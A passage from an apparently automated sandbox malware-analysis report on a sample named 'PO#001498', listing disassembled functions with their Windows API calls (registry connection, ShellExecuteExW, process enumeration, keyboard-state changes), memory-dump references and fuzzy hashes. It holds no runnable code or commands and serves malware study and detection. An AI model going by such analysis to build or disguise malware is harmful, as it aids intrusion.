                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8EA19C70608701DBE314CF68C984B6BBBE1FB88704F14491EFA8593251E778F965CB5A
                                                                                                                                                                                                        Function 0046AB70 Relevance: 10.8, APIs: 7, Instructions: 260registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 535477410-0
                                                                                                                                                                                                        • Opcode ID: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                                                                        • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
                                                                                                                                                                                                        Function 0045377F Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                        • _memset.LIBCMT ref: 004538C4
                                                                                                                                                                                                        • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00453960
                                                                                                                                                                                                        • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                                                                                                                                                                                                        • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 3530711334-4108050209
                                                                                                                                                                                                        • Opcode ID: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                                                                                                                                                        • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                                                                                                                                                                                                        Function 0047395A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                                                                                                                                                                                                        • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                                                                                                                                                                                                        • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 3488606520-2761332787
                                                                                                                                                                                                        • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                                                        • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                                                                                                                                                                                                        Function 004472C8 Relevance: 10.7, APIs: 7, Instructions: 207COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                                          • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                          • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                          • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                          • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                        • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                                                                        • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                                                                        • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                                                                        • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                                                                        • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                                                                        • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                                                                        • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4082120231-0
                                                                                                                                                                                                        • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                                                        • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                                                                                                                                                                                                        Function 00447303 Relevance: 10.7, APIs: 7, Instructions: 192COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                                          • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                          • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                          • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                          • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                        • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                                                                        • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                                                                        • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                                                                        • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                                                                        • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                                                                        • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                                                                        • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4082120231-0
                                                                                                                                                                                                        • Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                                                                        • Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A
                                                                                                                                                                                                        Function 0044733D Relevance: 10.7, APIs: 7, Instructions: 177COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AngleCloseEllipseFigureLineMovePixelRectangle
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 288456094-0
                                                                                                                                                                                                        • Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                                                                        • Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A
                                                                                                                                                                                                        Function 0044496C Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetParent.USER32(?), ref: 004449B0
                                                                                                                                                                                                        • GetKeyboardState.USER32(?), ref: 004449C3
                                                                                                                                                                                                        • SetKeyboardState.USER32(?), ref: 00444A0F
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 87235514-0
                                                                                                                                                                                                        • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                                                        • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                                                                                                                                                                                                        Function 00444B65 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetParent.USER32(?), ref: 00444BA9
                                                                                                                                                                                                        • GetKeyboardState.USER32(?), ref: 00444BBC
                                                                                                                                                                                                        • SetKeyboardState.USER32(?), ref: 00444C08
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 87235514-0
                                                                                                                                                                                                        • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                                                        • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                                                                                                                                                                                                        • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                                                                                                                                                                                                        Function 004498BD Relevance: 10.7, APIs: 7, Instructions: 159COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                                                                        • Instruction ID: b3b3da583a0ae8cfa3180eda0e634cae40a493ebdfd517dbec9d2fd4fbd82cb1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1E513A315082909FE321CF14DC89FABBB64FB46320F18456FF895AB2D1D7649C06D7AA
                                                                                                                                                                                                        Function 0046A98D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 535477410-2761332787
                                                                                                                                                                                                        • Opcode ID: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                                                                        • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                                                                                                                                                                                                        Function 00457C08 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00457C34
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00457CE8
                                                                                                                                                                                                        • ShellExecuteExW.SHELL32(?), ref: 00457D34
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                        • CloseHandle.KERNEL32(?), ref: 00457DDD
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _memset$CloseExecuteHandleShell_wcscpy_wcslen
                                                                                                                                                                                                        • String ID: <$@
                                                                                                                                                                                                        • API String ID: 1325244542-1426351568
                                                                                                                                                                                                        • Opcode ID: 669f3797eafbd6ea24f738bceaf78c3ad3f6bdf3b3f8ec2a74c9f7251b65f49f
                                                                                                                                                                                                        • Instruction ID: 09e461bdfc47c8bdd671eddb31188d347eda7c51057725e13e77015b5001baed
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 669f3797eafbd6ea24f738bceaf78c3ad3f6bdf3b3f8ec2a74c9f7251b65f49f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EA510FB55083009FC710EF61D985A5BB7E4AF84709F00492EFD44AB392DB39ED48CB9A
                                                                                                                                                                                                        Function 0047375F Relevance: 10.6, APIs: 7, Instructions: 150processCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateToolhelp32Snapshot.KERNEL32(?,?,?,?,?,?,?,?,?,00000002,00000000,00000014), ref: 0047379B
                                                                                                                                                                                                        • Process32FirstW.KERNEL32(00000000,?), ref: 004737A8
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 004737E1
                                                                                                                                                                                                          • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 004737F6
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00473818
                                                                                                                                                                                                        • Process32NextW.KERNEL32(00000000,?), ref: 00473844
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000,00000000,?,?), ref: 00473852
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2547909840-0
                                                                                                                                                                                                        • Opcode ID: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                                                                                                                        • Instruction ID: 8efa427203ffd7a45d167e3a64f6abf3f3640219bb0751621114887cb14f0fc1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4751BB71544304A7D720EF61CC86FDBB3E8AF84748F00492EF58957182E775E645C7AA
                                                                                                                                                                                                        Function 00455297 Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
